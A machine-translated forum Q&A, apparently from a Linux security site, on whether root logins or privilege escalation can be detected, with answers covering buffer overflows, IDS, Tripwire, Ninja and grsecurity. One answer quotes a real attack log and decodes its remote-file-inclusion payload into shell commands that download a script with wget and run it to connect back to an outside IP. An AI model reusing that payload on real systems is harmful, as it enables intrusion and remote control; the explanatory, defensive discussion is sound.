每次当我读到一些本地权限升级漏洞(例如这)。
我想知道操作系统是否可以检测到有人以 root 身份登录(或新的 root 进程启动)?想象一台 Gnu/Linux 机器,其配置如下:如果 root 登录到该机器(或检测到某些漏洞来获取 root 权限),机器将自行中断/关闭,并且备份机器(具有不同的配置)将启动,或者管理员将被管理。通知...
我的想法是否有意义,或者大多数漏洞由于其性质而无法检测?
答案1
漏洞利用的本质就是试图不被发现。因此,大多数漏洞利用不会通过正常方式进入系统,至少最初不会。他们通常会使用类似缓冲区溢出以获得对系统的访问权限。
缓冲区溢出
这种类型的攻击会寻找应用程序中希望获取用户输入的部分。考虑一个网页和各种文本框,您必须通过在这些文本框中键入内容来提供信息。每个文本框都是潜在攻击者的潜在入口点。
好消息:
- 大多数此类攻击并未获得 root 访问权限,而是获得对专门为 Web 服务器设置的用户帐户的访问权限,因此通常只能访问 Web 服务器文件和功能。
- 攻击者在闯入过程中在许多区域留下了相当多的踪迹。
- 防火墙日志
- 网络服务器日志
- 其他潜在的安全工具日志
坏消息:
- 他们已经获得了对系统的访问权限,因此拥有了可以继续尝试进一步入侵的滩头阵地。
- 日志。是的,考虑到分析日志既耗时又容易出错,大多数情况下几周/几个月/几年都没有检测到入侵。
检测 root 登录
大多数系统都被设计为不允许 root 登录,因此这种攻击媒介并不是真正的问题。大多数攻击都会访问其他一些较低级别的帐户,然后在您的系统上建立滩头阵地后,通过发现其他漏洞来利用。
例子#1:
攻击者可以通过执行以下操作来获得 root 访问权限:
- 通过查找易受攻击的网页来侵入系统的 Web 服务器帐户,该网页处理用户通过文本框从某种表单输入的输入。
- 实现对 Web 服务器帐户的访问后,尝试通过 Web 服务器帐户获得 shell 访问权限,或尝试让 Web 服务器帐户代表您运行命令。
- 确定该特定系统的工具版本(例如命令)是否存在弱点
ls
。 - 溢出该工具
ls
以获得对 root 帐户的访问权限。
例子#2:
潜在的攻击者甚至可能对完全控制您的系统不感兴趣。大多数入侵者只对收集用作其他用途的“奴隶”的系统感兴趣。通常,攻击者只想将他们的软件安装在您的系统上,以便他们可以使用该系统,而无需完全控制系统。
- 确定某个网站已经开放了webapp X。攻击者知道webapp X存在允许用户上传图片文件的漏洞。
- 攻击者准备一个名为 的文件
CMD.gif
并上传。例如,可能是论坛网站上用户的头像图像。但这CMD.gif
不是图像,它实际上是一个程序,名为CMD.gif
。 - 攻击者将“图像”上传到论坛站点。
- 现在攻击者“欺骗”webapp X 运行他的“图像”。
- 攻击者使用浏览器调用 webapp X,但他以 webapp X 的作者从未想象过的方式调用它。他们也没有设计 webapp X 来禁止它。
此类攻击的 Web 服务器日志文件
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
笔记:来自 Apache Web 服务器的示例日志(礼貌)OSSEC.net。
在这里,攻击者让 webapp X (index.php) 运行CMD.gif
,然后可以执行以下操作:
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
因此,他们诱使 webapp X 将目录更改为/tmp
,下载文件 ,dc.txt
然后运行该文件,在端口 21 上连接回 IP 地址 72.36.21.183。
禁用“受损”服务器
您可以关闭“检测到”漏洞的服务器的想法是一个很好的尝试,但由于几个原因它不起作用。
- 如果攻击者可以进入第一个系统,那么他们很可能可以进入第二个系统。
- 大多数系统本质上都是彼此的克隆。它们更容易维护,并且保持简单(相同)是 IT 和计算机中大多数事物的标志。
- 不同的配置意味着维护系统的工作量更大,出错的机会也更多,而这通常是导致漏洞的原因。
- 攻击者的目标可能不是入侵,他们可能试图拒绝访问您的服务。这称为拒绝服务 (DoS)。
试图限制损害
我可以继续说下去,但一般来说,在保护系统安全方面,您有一些可用的资源。
- 使用诸如绊线检测系统文件系统上的更改。
- 防火墙 - 限制访问,以便仅在需要时明确允许访问,而不是对所有内容进行完全访问。
- 使用工具分析日志文件以检测异常。
- 保持系统为最新并安装最新补丁。
- 限制暴露 - 只安装系统所需的软件 - 如果不需要
gcc
安装编译器,则不要安装它。 - IDS——入侵检测软件。
答案2
每次有人以 root 身份登录时,操作系统都可以并且确实添加一个日志条目。但出于多种原因,这对防止权限升级错误没有任何好处。
一旦攻击者成为root用户,他们就可以删除日志条目。避免这种情况的唯一方法是将日志写入攻击者无法访问的某个位置,例如一次性写入介质或远程计算机。
以 root 身份启动的登录或进程是正常事件。您不想每天早上 6 点被叫醒,因为每天的 cron 作业都在运行。检测可疑进程、网络流量和其他行为是一项基于启发式的复杂工作;完成这项工作的工具称为IDS(入侵检测系统)。
权限升级错误并不涉及攻击者登录,甚至不一定执行新进程。攻击者利用正在运行的程序中的错误并使其执行他注入的任何代码。虽然攻击者调用系统上已有的其他程序通常很方便,但很少有必要。
答案3
好问题!
在多用户系统上,如果本地 root 攻击成功,您只需要一些保护措施。
这忍者用户态软件不断监视新的根进程,如果它们是从意外来源生成的,则可能会杀死它们。缺点是 Ninja 占用相当多的 CPU,但仍然风俗漏洞利用的速度可能足以在忍者杀死它之前杀死忍者。
Ninja 是一个针对 GNU/Linux 主机的权限提升检测和预防系统。运行时,它将监视本地主机上的进程活动,并跟踪以 root 身份运行的所有进程。如果生成的进程的 UID 或 GID 为零(root),ninja 将记录有关此进程的必要信息,并且如果该进程是由未经授权的用户生成的,则可以选择终止该进程。
更安全的替代方法是使用GRSEC修补内核,它是RBAC(基于角色的访问控制)功能。使用 RBAC 可以剥离根用户拥有所有权力,因此获得root实际上是没有用的,除非您还使用 进行身份验证为管理员角色gradm -a admin
。
GRSEC 还附带帕X,这使得内核更难被利用。